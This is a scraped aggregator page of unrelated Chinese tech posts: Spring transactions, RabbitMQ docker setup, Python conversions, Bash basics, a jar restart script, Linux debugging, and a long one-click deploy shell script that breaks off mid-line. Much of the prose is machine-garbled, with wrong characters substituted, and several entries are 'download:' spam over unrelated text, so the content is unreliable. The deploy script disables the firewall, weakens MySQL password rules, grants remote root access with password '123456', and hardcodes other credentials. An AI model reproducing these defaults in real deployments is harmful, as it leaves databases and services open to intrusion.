前言事务大家平时应该都有写,之前写事务的时候遇到一点坑,竟然不失效,起初排查了一下,温习了一下各种事务生效的场景,想着不如来一个总结,这样下次排查问题,就能有恃无恐了。那么先来温习一下事务相干常识,事务是指操作的最小工作单位,作为一个独自且不可切割的单元操作,要么全副胜利,要么全副失败。事务有四大个性(ACID): 原子性(Atomicity):事务蕴含的操作,要么全副胜利,要么全副失败回滚,不会存在一半胜利一半失败的中间状态。比方A和B一开始都有500元,A给B转账100,那么A的钱少了100,B的钱就必须多了100,不能A少了钱,B也没收到钱,那这个钱就不胫而走了,不合乎原子性了。一致性(Consistency):一致性是指事务执行之前和之后,放弃整体状态的统一,比方A和B一开始都有500元,加起来是1000元,这个是之前的状态,A给B转账100,那么最初A是400,B是600,两者加起来还是1000,这个整体状态须要保障。隔离性(Isolation):后面两个个性都是针对同一个事务的,而隔离性指的是不同的事务,当多个事务同时在操作同一个数据的时候,须要隔离不同事务之间的影响,并发执行的事务之间不能互相烦扰。持久性(Durability):指事务如果一旦被提交了,那么对数据库的批改就是永久性的,就算是数据库产生故障了,曾经产生的批改也必然存在。事务的几个个性并不是数据库事务专属的,狭义上的事务是一种工作机制,是并发管制的根本单位,保障操作的后果,还会包含分布式事务之类的,然而个别咱们议论事务,不特指的话,说的就是与数据库相干的,因为咱们平时说的事务根本都基于数据库来实现。 事务不仅是实用于数据库。咱们能够将此概念扩大到其余组件,相似队列服务或内部零碎状态。因而,“一系列数据操作语句必须齐全实现或齐全失败,以统一的状态来到零碎”测试环境后面咱们曾经部署过了一些demo我的项目,以及用docker疾速搭建环境,本文基于的也是之前的环境: JDK 1.8Maven 3.6DockerMysql事务失常回滚的样例失常的事务样例,蕴含两个接口,一个是获取所有的用户中的数据,另外一个更新的,是update用户数据,其实就是每个用户的年龄+1,咱们让一次操作完第一个之后,抛出异样,看看最初的后果: @Service("userService")public class UserServiceImpl implements UserService { @Resource UserMapper userMapper; @Autowired RedisUtil redisUtil; @Override public List<User> getAllUsers() { List<User> users = userMapper.getAllUsers(); return users; } @Override @Transactional public void updateUserAge() { userMapper.updateUserAge(1); int i= 1/0; userMapper.updateUserAge(2); }}数据库操作: <?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" "http://mybatis.org/dtd/mybatis-3-mapper.dtd" ><mapper namespace="com.aphysia.springdocker.mapper.UserMapper"> <select id="getAllUsers" resultType="com.aphysia.springdocker.model.User"> SELECT * FROM user </select> <update id="updateUserAge" parameterType="java.lang.Integer"> update user set age=age+1 where id =#{id} </update></mapper>先获取http://localhost:8081/getUserList所有的用户看看: 在调用更新接口,页面抛出谬误了: ...

December 28, 2021 · 3 min · jiezi

关于shell:慕课Shell-高阶开发实战分享

download:Shell 高阶开发实战1. REST API可能有小伙伴还不懂什么是 REST API,这里就先简略科普下: REST(Representational State Transfer)是一种 Web 软件架构格调,它是一种格调,而不是规范,匹配或兼容这种架构格调的的网络服务称为 REST 服务。 REST 服务简洁并且有档次,它通常基于 HTTP、URI、XML 以及 HTML 这些现有的宽泛风行的协定和规范。在 REST 中,资源是由 URI 来指定,对资源的增删改查操作能够通过 HTTP 协定提供的 GET、POST、PUT、DELETE 等办法实现。 应用 REST 能够更高效的利用缓存来进步响应速度,同时 REST 中的通信会话状态由客户端来保护,这能够让不同的服务器解决一系列申请中的不同申请,进而进步服务器的扩展性。 在前后端拆散我的项目中,一个设计良好的 Web 软件架构必然要满足 REST 格调。 2. 开启 Web 治理页面再来说说如何开启 Web 治理页面,整体上来说,咱们有两种形式开启 Web 治理页面: 装置 RabbitMQ 的时候,间接抉择 rabbitmq:3-management 镜像,装置命令如下:docker run -d --rm --hostname my-rabbit --name some-rabbit -p 15672:15672 -p 5672:5672 rabbitmq:3-management这样装置好的 RabbitMQ 就能够间接应用 Web 治理页面了。 装置的时候就抉择失常的一般镜像 rabbitmq:3,装置命令如下: docker run -d --hostname my-rabbit --name some-rabbit2 -p 5673:5672 -p 25672:15672 rabbitmq:3这个装置好之后,须要咱们进入到容器中,而后手动开启 Web 治理插件,命令如下: ...

December 16, 2021 · 1 min · jiezi

关于shell:Shell-高阶开发实战MKhs

download:Shell 高阶开发实战MKpython字符串/元组/列表/字典互转 --coding:utf-8--1、字典dict = {'name': 'Zara', 'age': 7, 'class': 'First'} 字典转为字符串,返回:<type 'str'> {'age': 7, 'name': 'Zara', 'class': 'First'}print type(str(dict)), str(dict) 字典可能转为元组,返回:('age', 'name', 'class')print tuple(dict) 字典可能转为元组,返回:(7, 'Zara', 'First')print tuple(dict.values()) 字典转为列表,返回:['age', 'name', 'class']print list(dict) 字典转为列表print dict.values 2、元组tup=(1, 2, 3, 4, 5) 元组转为字符串,返回:(1, 2, 3, 4, 5)print tup.__str__() 元组转为列表,返回:[1, 2, 3, 4, 5]print list(tup) 元组不可能转为字典3、列表nums=[1, 3, 5, 7, 8, 13, 20]; 列表转为字符串,返回:[1, 3, 5, 7, 8, 13, 20]print str(nums) 列表转为元组,返回:(1, 3, 5, 7, 8, 13, 20)print tuple(nums) ...

December 16, 2021 · 1 min · jiezi

关于shell:什么时候不适合使用Shell脚本

这篇总结的真好,偶尔遇见,记录下来。学习高级Bash脚本编程指南 没有程序语言是完满的. 甚至没有一个惟一最好的语言, 只有对于特定目标, 比拟适宜和不适宜的程序语言. Herbert Mayer一个shell脚本是一个相似于"小吃店的(quick and dirty)"办法, 在你应用原型设计一个简单的利用的时候. 在工程开发的第一阶段, 即便从性能中获得很无限的一个子集放到shell脚本中来实现往往都是十分有用的. 应用这种办法, 程序的后果能够被测试和尝试运行, 并且在解决应用诸如C/C++, Java或者Perl语言编写的最终代码前, 次要的缺点和陷阱往往就被发现了. Shell脚本遵循典型的UNIX哲学, 就是把大的简单的工程分成小规模的子工作, 并且把这些部件和工具组合起来. 许多人认为这种方法更好一些, 至多这种方法比应用那种高\大\全的语言更美, 更愉悦, 更适宜解决问题. 比方Perl就是这种无能任何事能适宜任何人的语言, 然而代价就是你须要强制本人应用这种语言来思考解决问题的方法. 什么时候不适宜应用Shell脚本 资源密集型的工作, 尤其在须要思考效率时(比方, 排序, hash等等).须要解决大工作的数学操作, 尤其是浮点运算, 准确运算, 或者简单的算术运算(这种状况个别应用C++或FORTRAN来解决).有跨平台移植需要(个别应用C或Java).简单的利用, 在必须应用结构化编程的时候(须要变量的类型查看, 函数原型, 等等).至关重要的利用, 比如说为了这个利用, 你须要赌上本人的农场, 甚至赌上你们公司的将来.对于平安有很高要求的工作, 比方你须要一个强壮的零碎来避免入侵, 破解, 歹意毁坏等等.工程的每个组成部分之间, 须要连锁的依赖性.须要大规模的文件操作(Bash受限于程序地进行文件拜访, 而且只能应用这种蠢笨的效率低下的一行接一行的解决形式. ).须要多维数组的反对.须要数据结构的反对,比方链表或数组等数据结构.须要产生或操作图形化界面GUI.须要间接操作系统硬件.须要I/O或socket接口.须要应用库或者遗留下来的旧代码的接口.集体的, 闭源的利用(shell脚本把代码就放在文本文件中, 全世界都能看到).如果你的利用合乎上边的任意一条, 那么就考虑一下更弱小的语言吧--或者是Perl, Tcl, Python, Ruby -- 或者是更高层次的编译语言比方C/C++, 或者是Java. 即使如此, 你会发现, 应用shell来原型开发你的利用, 在开发步骤中也是十分有用的.

December 9, 2021 · 1 min · jiezi

关于shell:使用脚本进行-SAP-Spartacus-安装工作

Test the Spartacus installation with schematics on Windows 本文介绍具体步骤。 首先应用命令行装置 verdaccio: Install verdaccio $ npm i -g verdaccio@4 (only for the first time)Verdaccio 是一个简略的、零配置要求的本地公有 NPM 注册表。 不须要整个数据库就能够开始。 Verdaccio 开箱即用,带有本人的小型数据库,并且可能代理其余注册表(例如 npmjs.org),还引入了缓存下载模块的性能。 对于那些心愿扩大其存储能力的人,Verdaccio 反对各种社区制作的插件来连贯到服务,例如 Amazon 的 S3、Google Cloud Storage 或创立本人的插件。 应用上面的命令行增加新用户: npm adduser --registry http://localhost:4873这样,之后装置 Spartacus 须要拖取依赖包时,能够从本地 verdaccio 数据库里读取内容,而无需通过网络读取。谬误1:lsof command not found lsof 命令用来查看 verdaccio 是否曾经正在运行了: verdaccio 用来注册新用户,实现之后须要完结该过程。 下面脚本的含意是,把 lsof 命令的后果存到变量 VERDACCIO_PID 里,而后查看该变量是否不为空。 -n 操作检测前面的操作数是否为空。 if [ ! -n "$1" ] 的含意是,查看第一个参数是否为空。-n 不为空,再用感叹号加个反,示意空。 ...

November 16, 2021 · 1 min · jiezi

关于shell:Bash-脚本简介

【注】本文译自: An Introduction to Bash Scripting Bash 脚本简介空想本人是计算机科学家、业余爱好者或技术书呆子吗?而后在某个时候,您将或应该思考在您的数字工作区中应用 Bash 脚本。 Bash (Bourne Again Shell)") 是一个解释器,负责解决Unix系统命令行上的命令。它是由 Brian Fox 编写的免费软件,并于 1989 年公布的免费软件,作为 Sh(Bourne Shell)的替代品。Bash 被开发人员、数据科学家、系统管理员、网络工程师和任何其余在日常工作中重大依赖 Unix 操作系统的人应用。一般来说,Bash 脚本用于自动化计算机科学家可能承当的日常补救工作。简而言之,shell 脚本只不过是存储在一个文件(如列表)中的一系列命令。 您能够在 Linux 和 MacOS 机器上应用 Bash,甚至能够通过实用于 Linux 的 Windows 子系统在 Windows 10 机器上应用。Bash 通常在文本窗口中运行,用户能够在其中键入命令让计算机执行操作。该语言还可用于从文件读取和执行命令,称为 shell 脚本。Shell 脚本自身就是一种编程语言,与任何其余语言一样,Bash 是一种能够以多种形式应用的工具。 如果您之前见过运行 Linux 操作系统(或类 Unix 环境)的机器,您可能也见过终端控制台。终端是用户应用某些命令与 shell 解释器进行交互的形式。诸如 cd 导航文件目录,ls 列出当前目录中的文件,以及 nano 编辑文件等命令。 在终端中应用 Bash 代码,它将由 Bash 解释器运行。ls 之类的命令是位于 /bin 目录中的二进制可执行文件。 当 shell 收到该命令时(当您在终端中键入它并按 Enter 键时),它会执行 ls 文件并为用户列出当前目录中的文件。应用命令 ls /bin 以门路 /bin 作为选项执行二进制 ls,列出 /bin 目录中的文件。执行 ls -al 会运行带有标记 -a 和 -l 作为选项的 ls 命令,列出当前目录门路中的所有文件和目录以及无关这些我的项目的详细信息。 ...

November 4, 2021 · 2 min · jiezi

关于shell:简易的自动重启jar包的shell脚本

#!/bin/bashID=`ps -ef |grep 包名.jar | grep -v 'grep' | awk '{print $2}'` ##查找正在执行的指定包名过程idecho $ID ## 打印正在执行的过程idecho "--------------"kill -9 $ID ## 杀死过程的指令echo "killed $ID" ## 打印杀死过程的idsleep 2 echo "restart begin" ## 打印开始重启提醒语句source /etc/profilenohup java -jar 包名.jar > /usr/local/path/nohup.out & ## 启动jar包指令processID=`ps -ef |grep 包名.jar | grep -v 'grep' | awk '{print $2}'` ## 获取重启后的过程idecho "restart success $processID" ## 打印重启后的过程id给shell脚本赋权限 chmod +x autoRestart.sh #文件变为可执行文件,能够看到文件名变色chmod -R 777 文件名 赋权限在linux上设置一个定时工作 执行这个脚本即可 //编辑定时工作crontab -e30 6 * * * /usr/local/path/autoRestart.sh */2 * * * * /usr/local/path/autoRestart.sh //查看定时器列表crontab -l//刷新定时器配置/sbin/service crond reload //定时器日志tail -f /var/log/cron

October 28, 2021 · 1 min · jiezi

关于shell:Linux-常用命令

sed命令# 正文匹配行,在匹配行前加#号sed -i '/hbk / s/^\(.*\)$/#\1/g' test.txt

September 28, 2021 · 1 min · jiezi

关于shell:ShellLite-OS在线调试工具知多少

摘要:Shell作为Huawei Liteos在线调试工具,能够通过串口工具输入输出,反对罕用的根本调试性能。同时用户能够新增定制的命令,新增命令需从新编译烧录后能力执行本文分享自华为云社区《LIteOS----shell利用(1)零碎shell》,作者:o0龙龙0o 。 前言:很多时候咱们在调试应用程式时都无奈设置过多断点或是无奈观测程序真正的流程动向,哪些语句有没有执行,还有就是手动开启某个本人写的利用的等等,这时候就须要shell命令行的操作,他能够以命令行的形式拜访操作系统的性能和服务,接管用户的输出命令,对操作系统的输入进行打印。 1、Huawei Liteos 的shellShell作为Huawei Liteos在线调试工具,能够通过串口工具输入输出,反对罕用的根本调试性能。同时用户能够新增定制的命令,新增命令需从新编译烧录后能力执行 2、shell性能关上办法能够通过make menuconfig配置Shell,菜单门路为:Debug ---> Enable a Debug Version ---> Enable Shell。 3、LiteOS 内设Shell命令烧录新零碎镜像后,重启零碎,如果曾经关上shell性能,既能够从串口中应用零碎自带的Shell性能了。 help、date、uname、task、free、memcheck、memused、hwi、queue、sem、mutex、dlock、swtmr、systeminfo、stack、cpup、watch等通过这些命令我就能够实现对系统的一些基本操作,比方查问工作执行的状况,内存的分配情况及各种命令的帮忙性能。 例如:help命令,在命令行输出help 零碎谁输入以后的所有shell命令: Huawei LiteOS # help*******************shell commands:*************************cpup date dlock dmesg free help hwilog memcheck mutex queue sem stack swtmrsysteminfo task uname watchtask命令用于查问零碎工作信息 当输出 task [ID]时,能够查问到ID为ID的工作信息 比方输出task 0x01时,零碎会打印出: Huawei LiteOS # task 0x01TaskName = SerialEntryTaskTaskId = 0x01*******backtrace begin*******traceback 0 -- lr = 0x1d804 fp = 0xa86bctraceback 1 -- lr = 0x1da40 fp = 0xa86e4traceback 2 -- lr = 0x20154 fp = 0xa86fctraceback 3 -- lr = 0x258e4 fp = 0xa8714traceback 4 -- lr = 0x242f4 fp = 0xa872ctraceback 5 -- lr = 0x123e4 fp = 0xa8754traceback 6 -- lr = 0x2a9d8 fp = 0xb0b0b0b大家能够尝试,本人发现这些零碎性能的的作用是什么,也在其实发现更好地利用。 ...

September 22, 2021 · 1 min · jiezi

关于shell:shell编程

shell是过程式、解释执行的语言shell编程语言的根本构造: 各种系统命令的组合数据存储:变量、数组表达式:a+b管制语句:if首行申明--解释器 #!/bin/bash#!/usr/bin/pythonbash--is an sh-compatible command language interpreter that executes commands; bash -n file # 查看语法bash -x file # 查看并执行变量变量类型:内置变量:PS1,PATH,UID,HOSTNAME,$$,BASHPID,HISTSIZE等用户自定义变量 变量数据类型:字符数值:整型、浮点型 变量赋值name='host'name="$NAME" -- 弱援用,替换为变量值;name='$NAME'--强援用,原字符串输入;name=`COMMAND` 或者 name=$(COMMAND)变量追加值NAME+=:wang显示已定义的所有变量 setunset <name> 勾销变量lscpu|grep 'Model name'|tr -s ' '|cut -d : -f2free -h |grep 'Mem'|tr -s ' ' :|cut -d : -f2lsblk|grep '^sd'|tr -s ' ' :|cut -d : -f5 环境变量:个别只在零碎配置文件中应用,在脚本中较少应用;子过程能够继承父过程的环境变量;申明并赋值环境变量: export NAME=VALUEdeclare -x NAME=VALUE显示所有环境变量 envprintenvexportdeclare -x删除环境变量unset NAME 只读变量readonly NAMEdeclare -r NAME 地位变量在bash shell中内置的变量,调用通过命令行传递给脚本的参数$1,$2,....,${n} # 第几个变量$0 #命令自身,包含门路$* #所有参数,全副参数合为一个字符串$# #所有参数,每个参数为一个独立的字符 ...

September 6, 2021 · 1 min · jiezi

关于shell:Shell-基础正則符號

利用Grep命令加參數 -o 顯示抓取的内容 正則符號有兩類,基礎正則和擴展正則: 基礎正則内容^以...開頭$以...結尾^$空行.任意一個字符*前一個字符連續出現0次或者0次以上.*相當與Shell裏面的*,所有内容[a-z]或a或b.. 1次匹配1個字符1非或a或b.. 或z\轉義字符1)*前一個字符連續出現0次或者0次以上 [d5118267@hkl20102859 ~]$ grep -o '0*' test.txt000000[d5118267@hkl20102859 ~]$ grep '0*' test.txtI am IT !> I teach ETL!> I like badminton ball. billiard ball and Chinese Chess!> my blog is http://simon.blog.51cto.com> our size is http://blog.oldbody.com> my qq is 1395520340> not 1364630646000>> my god , i am not player but a great engineer> EOF2)\ 轉義字符:還原之前的含義 匹配出文件中結尾的行轉義字符序列: \n 回車換行 \t tab鍵返回最後任意一個字節 grep '.$' 提取最後一個字節,剛好"." grep '.$' ...

September 4, 2021 · 1 min · jiezi

关于shell:Linux-常見Debug的方法

Debug的办法 sh -x 顯示執行過程,解決大部分問題set命令設置開始/結束 Debug的地位 專門針對複雜的脚本單步執行,將無關代碼注釋掉sh -x test.sh++ pwd+ logfile=/home/d5118267/shell_script/omnibaseTables.log++ date '+%F %H:%M:%S'+ Cdate='2021-09-03 02:04:15'+ echo ============================================+ echo 2021-09-03 02:04:15+ T1=/appvol/ctm/omnibase/datarefine/datastructure/sql+ T2=/appvol/ctm/omnibase/datarefine/datamodel/sql+ T25=/appvol/ctm/omnibase/dataconsume/sql/BIZ_dataconsume_sql+ T3=/appvol/ctm/omnibase/dataconsume/sql/IT_dataconsume_sql+ '[' 0 -ne 4 ']'+ echo 'Please input enough parameters'Please input enough parameters+ exit 1留神事項: 加號+ 代表執行進程加號越多,代表優先級沒有加號的,示意標準輸出Debug 某個一個具體範圍,一條循環的脚本... #!/bin/bash#1) Execute the T1-T3 tables in GCP#2) Create/Replace tables recordslogfile="`pwd`/omnibaseTables.log"Cdate=`date "+%F %H:%M:%S"`echo "============================================" >> $logfileset -x #從這裏開始檢查echo $Cdate >> $logfile set +x #從這裏結束檢查結果:sh t0_t1.sh+ echo 2021-09-03 02:29:54+ set +xPlease input enough parameters

September 4, 2021 · 1 min · jiezi

关于shell:一键部署十个服务脚本可拆分javamysqlredisnginxrocketmq等等

java + mysql +redis + minio + nginx + rocketmq + rocketmq-console + elasticsearch + kibana + logstash 一键部署可拆分 #!/bin/bash## 作者:陈步云## 微信:15648907522###### 将根本环境yum装置的包放入如下目录## /Basic-package/basic-rpm###### 将根底环境服务包放入如下目录## /Basic-package######function 0-basic-install () { ## 根底环境装置 cd /Basic-package/basic-rpm || exit yum -y install *.rpm systemctl disable firewalld systemctl stop firewalld}function 1-java-install () {## 作者:陈步云## 微信:15648907522if [ "$(java -version)" ]; then echo "command \"java\" exists on system"else if [ -d "/cby/backend/base-service/" ]; then echo "directory \"/cby/backend/base-service/\" exists" else ## 装置Java程序 cd /Basic-package || exit mkdir -p /cby/backend/base-service/ cp jdk-8u102-linux-x64.tar.gz /cby/backend/base-service/ cd /cby/backend/base-service/ || exit tar -xf jdk-8u102-linux-x64.tar.gz mv /cby/backend/base-service/jdk1.8.0_102/ /cby/backend/base-service/jdk8/ fi if [ "$(grep "JAVA_HOME=/usr/local/jdk1.8.0_151" /etc/profile)" ]; then echo 'JAVA_HOME in profile' else ## 增加Java环境变量 echo 'export JAVA_HOME=/cby/backend/base-service/jdk8' >> /etc/profile echo -e 'export PATH=$PATH:$JAVA_HOME/bin' >> /etc/profile echo -e 'export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar' >> /etc/profile source /etc/profile fi fiecho "java version:"java -version }function 2-mysql-install () {## 作者:陈步云## 微信:15648907522if [ "$(mysql -V)" ]; then echo "command \"mysql\" exists on system"else cd /Basic-package || exit if [ -x "mysql-5.7.34-1.el7.x86_64.rpm-bundle.tar" ]; then echo "file \"mysql-5.7.34-1.el7.x86_64.rpm-bundle.tar\" is executable" else ## 解压安装包的文件 tar xvf mysql-5.7.34-1.el7.x86_64.rpm-bundle.tar yum install ./*.rpm -y fi ## 启动服务,并开机自启 if [ "$(mysql -V)" ]; then systemctl start mysqld systemctl enable mysqld fi ## 查看MySQL默认明码 echo 'mysql password:' sudo grep 'temporary password' /var/log/mysqld.log | awk '{print $11}' ## 默认明码获取 mysqlpssswd=$(sudo grep 'temporary password' /var/log/mysqld.log | awk '{print $11}') ## 一系列受权操作 mysql -u root -p$mysqlpssswd -e "set global validate_password_length=0;" --connect-expired-password mysql -u root -p$mysqlpssswd -e "set global validate_password_policy=0;" --connect-expired-password mysql -u root -p$mysqlpssswd -e "set password for 'root'@'localhost' = password('123456');" --connect-expired-password mysql -u root -p$mysqlpssswd -e "use mysql;" --connect-expired-password mysql -u root -p$mysqlpssswd -e "grant all privileges on *.* to 'root'@'%' identified by '123456' with grant option;" --connect-expired-password mysql -u root -p123456 -e "flush privileges;" --connect-expired-passwordfi}function 3-redis-install () {## 作者:陈步云## 微信:15648907522yum install -y gcc-c++ pcre pcre-devel zlib zlib-devel openssl openssl-develif [ "$(redis-server --version)" ]; then echo "command \"redis\" exists on system"else if [ -d "/cby/backend/base-service/" ]; then echo "directory \"/cby/backend/base-service/\" exists" else mkdir -p /cby/backend/base-service/ fi if [ -d "/cby/backend/base-service/" ]; then ## 解压装置服务 cd /Basic-package || exit cp redis-5.0.12.tar.gz /cby/backend/base-service/ cd /cby/backend/base-service/ || exit tar xf redis-5.0.12.tar.gz mv /cby/backend/base-service/redis-5.0.12/ /cby/backend/base-service/redis/ else mkdir -p /cby/backend/base-service/ fi if [ -d "/cby/backend/base-service/redis/" ]; then cd /cby/backend/base-service/redis/ || exit## 写入配置文件cat >redis.conf<<EOF bind 0.0.0.0 protected-mode no daemonize yesEOF ## 编译此服务 make -j "$(cat /proc/cpuinfo |grep "processor"|wc -l)" fi if [ -d "/cby/backend/base-service/redis/src/" ]; then cd /cby/backend/base-service/redis/src/ || exit make install fi ## 进入装置目录后启动服务cd /cby/backend/base-service/redis/ || exitredis-server redis.conf fi}function 4-minio-install () {#!/bin/bash## 作者:陈步云## 微信:15648907522if [ "$(/cby/backend/base-service/minio/minio -v)" ]; then echo "command \"minio\" exists on system"else if [ -d "/cby/backend/base-service/minio/" ]; then echo "directory \"/cby/backend/base-service/minio/\" exists" else ## 增加执行权限并将服务拷贝到目的地 cd /Basic-package || exit mkdir -p /cby/backend/base-service/minio/ cp minio /cby/backend/base-service/minio/ cd /cby/backend/base-service/minio/ || exit chmod +x minio fi if [ "$(grep "MINIO_ACCESS_KEY" /etc/profile)" ]; then echo 'MINIO_ACCESS_KEY in profile' else ## 将账号密码写入环境变量 echo -e 'export MINIO_ACCESS_KEY=minio' >> /etc/profile echo -e 'export MINIO_SECRET_KEY=thinker@123' >> /etc/profile source /etc/profile fi if [ -d "/cby/backend/base-service/minio/data" ]; then echo "directory \"/cby/backend/base-service/minio/data\" exists" else mkdir -p /cby/backend/base-service/minio/data fi if [ -x "/cby/backend/base-service/minio/minio" ]; then echo "file \"/cby/backend/base-service/minio/minio\" is executable" source /etc/profile nohup /cby/backend/base-service/minio/minio server --address 0.0.0.0:9000 /cby/backend/base-service/minio/data > minio.log 2>&1 & fi fi}function 5-nginx-install () {## 作者:陈步云## 微信:15648907522if [ "$(/cby/backend/base-service/nginx/sbin/nginx -v)" ]; then echo "command \"nginx\" exists on system"else if [ -d "/cby/backend/base-service/" ]; then echo "directory \"/cby/backend/base-service/\" exists" else mkdir -p /cby/backend/base-service/ fi if [ -d "/cby/backend/base-service/nginx-1.18.0/" ]; then echo "directory \"/cby/backend/base-service/nginx-1.18.0/\" exists" else ## 解压所需包并装置所需依赖 cd /Basic-package || exit cp nginx-1.18.0.tar.gz /cby/backend/base-service/ cd /cby/backend/base-service/ || exit tar -zxf nginx-1.18.0.tar.gz yum install -y gcc-c++ pcre pcre-devel zlib zlib-devel openssl openssl-devel fi if [ -d "/cby/backend/base-service/nginx" ]; then echo "directory \"/cby/backend/base-service/nginx\" exists" else mkdir -p /cby/backend/base-service/nginx fi if [ -d "/cby/backend/base-service/nginx-1.18.0/" ]; then ## Nginx编译 echo "directory \"/cby/backend/base-service/nginx-1.18.0/\" exists" cd /cby/backend/base-service/nginx-1.18.0/ || exit ./configure --prefix=/cby/backend/base-service/nginx --with-http_stub_status_module --with-http_ssl_module --with-http_gzip_static_module make -j "$(cat /proc/cpuinfo |grep "processor"|wc -l)" make install else exit 1 fi if [ "$(/cby/backend/base-service/nginx/sbin/nginx -v)" ]; then echo "command \"nginx\" exists on system" echo 'nginx version is :' /cby/backend/base-service/nginx/sbin/nginx -v fi fi}function 6-rocketmq-install () {## 作者:陈步云## 微信:15648907522if [ "$(ls /cby/backend/base-service/rocketmq/startup.sh)" ]; then echo "command \"rocketmq\" exists on system"else if [ -d "/cby/backend/base-service/" ]; then echo "directory \"/cby/backend/base-service/\" exists" else mkdir -p /cby/backend/base-service/ fi if [ -d "/cby/backend/base-service/package/rocketmq/" ]; then echo "directory \"/cby/backend/base-service/package/rocketmq/\" exists" else mkdir -p /cby/backend/base-service/package/rocketmq/ fi if [ -d "/cby/backend/base-service/rocketmq/" ]; then echo "directory \"/cby/backend/base-service/rocketmq/\" exists" else cd /Basic-package || exit yum -y install unzip cp -r rocketmq/ /cby/backend/base-service/package/ cd /cby/backend/base-service/package/rocketmq/ || exit unzip rocketmq-all-4.5.2-bin-release.zip mv rocketmq-all-4.5.2-bin-release/ /cby/backend/base-service/rocketmq/ cp *.sh /cby/backend/base-service/rocketmq/ cd /cby/backend/base-service/rocketmq/ || exit sh /cby/backend/base-service/rocketmq/startup.sh fi ## 测试音讯 if [ -x "/cby/backend/base-service/rocketmq/bin/tools.sh" ]; then echo "file \"/cby/backend/base-service/rocketmq/bin/tools.sh\" is executable" echo '发送测试音讯' bash /cby/backend/base-service/rocketmq/bin/tools.sh /cby/backend/base-service/rocketmq/org.apache.rocketmq.example.quickstart.Producer echo '承受测试音讯' bash /cby/backend/base-service/rocketmq/bin/tools.sh /cby/backend/base-service/rocketmq/org.apache.rocketmq.example.quickstart.Consumer fi fi}function 7-rocketmq-console-install () {## 作者:陈步云## 微信:15648907522if [ "$(ls /cby/backend/base-service/rocketmq-console/startup.sh)" ]; then echo "command \"rocketmq-console\" exists on system"else if [ -d "/cby/backend/base-service/" ]; then echo "directory \"/cby/backend/base-service/\" exists" else mkdir -p /cby/backend/base-service/ fi if [ -d "/cby/backend/base-service/rocketmq-console" ]; then echo "directory \"/cby/backend/base-service/rocketmq-console\" exists" else ## 将所需包拷贝过来并启动 cd /Basic-package || exit cp -r rocketmq-console/ /cby/backend/base-service/rocketmq-console cd /cby/backend/base-service/rocketmq-console/ || exit sh startup.sh fi fi}function 8-Elasticsearch-install () {## 作者:陈步云## 微信:15648907522if [ "$(ls /openes/elasticsearch)" ]; then echo "command \"elasticsearch\" exists on system"else## 批改一些配置 cat >>/etc/security/limits.conf<<EOF ## 增加以下内容 * soft nofile 65536 * hard nofile 131072 * soft nproc 4096 * hard nproc 4096EOF cat >"$(ls /etc/security/limits.d/*.conf)"<<EOF # Default limit for number of user's processes to prevent # accidental fork bombs. # See rhbz #432903 for reasoning. * soft nproc 4096 root soft nproc unlimitedEOF cat >>/etc/sysctl.conf<<EOF vm.max_map_count=655360EOF if [ -d "/openes/" ]; then echo "directory \"/openes/\" exists" else cd /Basic-package || exit mkdir -p /openes/ ## 创立目录后将安装包拷贝过来 cp elasticsearch-7.13.2-linux-x86_64.tar.gz /openes/ ## 增加用户并设置明码 useradd openes echo "es" | passwd --stdin openes chown -R openes:openes /openes/ sysctl -p su - openes <<! cd /openes tar xf elasticsearch-7.13.2-linux-x86_64.tar.gz mv elasticsearch-7.13.2/ elasticsearch/ if [ -d "/openes/es_repo/data" ]; then echo "directory \"/openes/es_repo/data\" exists" else mkdir -p /openes/es_repo/data fi if [ -d "/openes/es_repo/logs" ]; then echo "directory \"/openes/es_repo/logs\" exists" else mkdir -p /openes/es_repo/logs fi cat >>/openes/elasticsearch/config/elasticsearch.yml<<EOF ## 批改以下配置 node.name: node-1 ## 数据目录地位 path.data: /openes/es_repo/data ## 日志目录地位 path.logs: /openes/es_repo/logs cluster.initial_master_nodes: ["node-1"] ## 绑定到0.0.0.0,容许任何ip来拜访 network.host: 0.0.0.0EOF /openes/elasticsearch/bin/elasticsearch -d! fi sleep 20scurl -I http://127.0.0.1:9200/ fi}function 9-Kibana-install () {## 作者:陈步云## 微信:15648907522if [ "$(ls /openes/kibana)" ]; then echo "command \"elasticsearch\" exists on system"else cd /Basic-package || exit mkdir -p /openes/ ## 创立目录后将安装包拷贝过来 ## 并赋予权限 cp -r kibana/ /openes/package/ chown -R openes:openes /openes/ su - openes <<! cd /openes/package/ tar xf kibana-7.13.2-linux-x86_64.tar.gz mv kibana-7.13.2-linux-x86_64/ /openes/kibana/ mv *.sh /openes/kibana/ cat >>/openes/kibana/config/kibana.yml<<EOF ## 批改以下配置 server.port: 5601 server.host: "0.0.0.0" elasticsearch.hosts: ["http://127.0.0.1:9200"] kibana.index: ".kibana" i18n.locale: "zh-CN"EOF cd /openes/kibana/ sh startup.sh!sleep 20s## 测试验证curl -I http://127.0.0.1:5601/ fi}function 10-Logstash-install () {## 作者:陈步云## 微信:15648907522if [ "$(ls /openes/logstash)" ]; then echo "command \"logstash\" exists on system"else cd /Basic-package || exit mkdir -p /openes/ ## 创立目录后将安装包拷贝过来 ## 并赋予权限 cp logstash-7.13.2-linux-x86_64.tar.gz /openes/ chown -R openes:openes /openes/ ## 切换用户在另一个用户中执行 su - openes <<! cd /openes/ tar xf logstash-7.13.2-linux-x86_64.tar.gz mv logstash-7.13.2/ /openes/logstash/ if [ -d "/openes/es_repo/data" ]; then echo "directory \"/openes/es_repo/data\" exists" else mkdir -p /openes/es_repo/data fi if [ -d "/openes/es_repo/logs" ]; then echo "directory \"/openes/es_repo/logs\" exists" else mkdir -p /openes/es_repo/logs fi cat >>/openes/logstash/config/logstash.yml<<EOF## 批改以下配置path.data: /openes/logstash_repo/datapath.logs: /openes/logstash_repo/logsEOF cat >/openes/logstash/config/logstash-data-govern.conf<<EOF## Sample Logstash configuration for creating a simple## tcp -> Logstash -> Elasticsearch pipeline.input { tcp { mode => "server" host => "0.0.0.0" port => 4560 codec => json_lines }}output { elasticsearch { hosts => ["http://127.0.0.1:9200"] index => "data-govern-%{+YYYY.MM.dd}" }}EOFcd /openes/logstash/ || exitchown -R openes:openes /openes/source /etc/profilenohup ./bin/logstash -f config/logstash-data-govern.conf > logstash.log 2>&1 &!"ps -aux|grep 